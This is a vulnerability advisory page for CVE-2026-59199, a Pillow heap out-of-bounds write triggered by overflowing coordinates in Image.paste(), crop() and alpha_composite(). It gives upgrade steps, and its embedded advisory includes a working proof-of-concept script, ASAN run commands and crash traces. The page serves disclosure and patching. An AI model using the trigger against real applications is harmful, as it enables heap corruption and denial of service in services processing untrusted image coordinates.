CVE-2026-59199: Pillow Heap Out-of-bounds Write `Image.paste()` / Vulnerability
HIGHCVE-2026-59199 is a HIGH (CVSS 7.5) heap out-of-bounds write `image.paste()` / vulnerability (CWE-190: Integer Overflow or Wraparound) affecting Pillow libraries in the PyPI ecosystem. The issue involves heap out-of-bounds write `image.paste()` / `image.crop()` via signed coordinate overflow. Remediation is available by upgrading affected packages to version 12.3.0.
CVE-2026-59199 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-59199
To remediate this vulnerability, upgrade all affected Pillow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install Pillow>=12.3.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show Pillow
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-59199, inspect your installed packages using pip:
pip show Pillow
Analyze the terminal output to locate any version of Pillow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.0), your application is affected.
Note: The pip show Pillow command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-190: Integer Overflow or Wraparound, where the product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. this occurs when an integer value is incremented to a value that is too large to store in the associated representation. when this occurs, the value may become a very small or negative number. In Pillow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-59199 Affected Pillow Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
Pillow
|
PyPI |
< 12.3.0
|
12.3.0
|
References
Frequently Asked Questions
What is CVE-2026-59199?
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What version fixes CVE-2026-59199?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6r8x-57c9-28j4",
"modified" : "2026-07-20T23:09:53Z",
"published" : "2026-07-20T23:09:53Z",
"aliases" : [ "CVE-2026-59199" ],
"summary" : "Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow",
"details" : "### Summary\n\nPillow's public image coordinate APIs can trigger a native heap out-of-bounds\nwrite when given coordinates near the signed 32-bit integer limits. In 4-byte\npixel modes such as `RGBA`, this becomes a controlled backward heap underwrite:\nfor a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes\nstarting `4 * W` bytes before the destination row pointer. With successful large\nimage allocation, the theoretical upper bound is ~2 GiB backwards from\nthe destination row.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image\n\nINT_MIN = -(1 << 31)\n\nsrc = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\ndst = Image.new(\"RGBA\", (8, 1))\ndst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))\n```\n\nThe same root cause is also reachable through `Image.crop()` and\n`Image.alpha_composite()`. No private API, ctypes, custom Python object, or\nmalformed image file is needed.\n\nThis has been confirmed as an ASAN heap-buffer-overflow write. On normal\nnon-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with\n`double free or corruption (out)`\n\n### Details\n\n`src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native\n`ImagingCore.paste()` method:\n\n```python\nself.im.paste(source, box)\n```\n\n`src/_imaging.c:_paste()` parses the four Python coordinates into signed `int`\nvalues and calls `ImagingPaste()`:\n\n```c\nint x0, y0, x1, y1;\nPyArg_ParseTuple(args, \"O(iiii)|O!\", &source, &x0, &y0, &x1, &y1, ...);\nstatus = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);\n```\n\n`src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using\nsigned `int` arithmetic:\n\n```c\nxsize = dx1 - dx0;\nysize = dy1 - dy0;\n\nif (dx0 + xsize > imOut->xsize) {\n xsize = imOut->xsize - dx0;\n}\n```\n\nWith `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.\nThat matches the 2-pixel source image, so the size check passes. The later\n`dx0 + xsize` clip check wraps around and does not reject the out-of-bounds\ndestination.\n\nFor 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by\n`pixelsize`:\n\n```c\ndx *= pixelsize;\nxsize *= pixelsize;\nmemcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);\n```\n\nFor the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the\ndestination row allocation.\n\nThe primitive scales with the attacker-controlled source width:\n\n```text\nsource width = W\nbox = ((1 << 31) - W, 0, INT_MIN, 1)\n\nC destination offset = -4 * W\nC memcpy size = 4 * W\nwrite range = [row_start - 4W, row_start)\n```\n\nExamples for `RGBA`:\n\n```text\nW = 2 -> writes 8 bytes before the row\nW = 1024 -> writes 4096 bytes before the row\nW = 65536 -> writes 256 KiB before the row\nW = 1000000 -> writes about 4 MiB before the row\n```\n\nPillow's image creation guard currently limits `xsize` to roughly\n`INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is\n`2,147,483,640` bytes before the destination row pointer. In practice, the\nusable range depends on memory availability, allocator layout, and process heap\nstate.\n\nTwo other documented APIs reach the same sink:\n\n```python\n# Image.crop() path\nleft = INT_MIN + 2\nImage.new(\"RGBA\", (2, 1)).crop((left, 0, left + 2, 1))\n\n# Image.alpha_composite() path, via its internal crop()\nbase = Image.new(\"RGBA\", (2, 1))\nover = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\nbase.alpha_composite(over, dest=(left, 0))\n```\n\n`Image.crop()` keeps `right - left` small, so the Python decompression-bomb\ncheck allows it. `src/libImaging/Crop.c` then computes wrapped paste\ncoordinates and calls `ImagingPaste()`.\n\n### PoC\n\nThe following standalone script exercises all three public API paths. Save it\nas `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom PIL import Image\n\n\nINT_MIN = -(1 << 31)\n\n\ndef rgba_pattern(width):\n out = bytearray()\n for i in range(width):\n out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))\n return bytes(out)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"variant\",\n choices=(\"paste\", \"crop\", \"alpha\"),\n nargs=\"?\",\n default=\"paste\",\n )\n parser.add_argument(\"-w\", \"--width\", type=int, default=2)\n args = parser.parse_args()\n\n width = args.width\n src = Image.frombytes(\"RGBA\", (width, 1), rgba_pattern(width))\n\n if args.variant == \"paste\":\n box = ((1 << 31) - width, 0, INT_MIN, 1)\n dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n print(f\"variant=paste box={box}\")\n print(f\"expected C dst offset={-4 * width}, write_size={4 * width}\")\n sys.stdout.flush()\n dst.paste(src, box)\n print(\"paste returned; first row:\", dst.tobytes().hex())\n\n elif args.variant == \"crop\":\n left = INT_MIN + width\n box = (left, 0, left + width, 1)\n print(f\"variant=crop box={box}\")\n sys.stdout.flush()\n out = src.crop(box)\n print(\"crop returned; output:\", out.tobytes().hex())\n\n else:\n dest = (INT_MIN + width, 0)\n dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n print(f\"variant=alpha dest={dest}\")\n sys.stdout.flush()\n dst.alpha_composite(src, dest=dest)\n print(\"alpha_composite returned; first row:\", dst.tobytes().hex())\n\n sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nRun against an ASAN build:\n\n```bash\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n python b021_poc.py paste\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n python b021_poc.py crop\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n python b021_poc.py alpha\n```\n\nObserved ASAN signature for the direct `Image.paste()` path:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\n_paste /out/src/src/_imaging.c:1461\n0x... is located 8 bytes before 32-byte region\n```\n\nOn non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal\n`Image.paste()` trigger returns from `paste()` and then the process aborts\nduring cleanup with:\n\n```text\ndouble free or corruption (out)\nAborted (core dumped)\n```\n\nObserved ASAN signature for the `Image.crop()` and `Image.alpha_composite()`\npaths:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\nImagingCrop /out/src/src/libImaging/Crop.c:57\n_crop /out/src/src/_imaging.c:1090\n```\n## Suggested fix\n\nAvoid signed overflow in paste/crop coordinate arithmetic. Use checked\narithmetic or a wider type before calculating widths and clipped endpoints.\n\nFor example, reject boxes whose endpoint subtraction cannot be represented\ncleanly, and clip using non-overflowing comparisons:\n\n```c\nint64_t xsize64 = (int64_t)dx1 - dx0;\nint64_t ysize64 = (int64_t)dy1 - dy0;\n\nif (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {\n return ImagingError_ValueError(\"bad box\");\n}\n```\n\n`ImagingCrop()` should receive the same treatment for `sx1 - sx0`,\n`dx0 = -sx0`, and `dx1 = imIn->xsize - sx0`.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough documented public image APIs.\n\nApplications are impacted if an untrusted user can control image operation\ncoordinates passed to Pillow, for example crop boxes, paste boxes, or overlay\npositions. The bytes written in the direct `Image.paste()` variant are copied\nfrom the source image, so attacker-controlled source pixels can influence the\nout-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose\noffset and length are both `4 * source_width`, bounded in practice by successful\nimage allocation and heap layout.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "Pillow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "12.3.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59199"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/pull/9703"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/python-pillow/Pillow"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-190", "CWE-787" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-20T23:09:53Z",
"nvd_published_at" : "2026-07-14T16:17:01Z"
}
}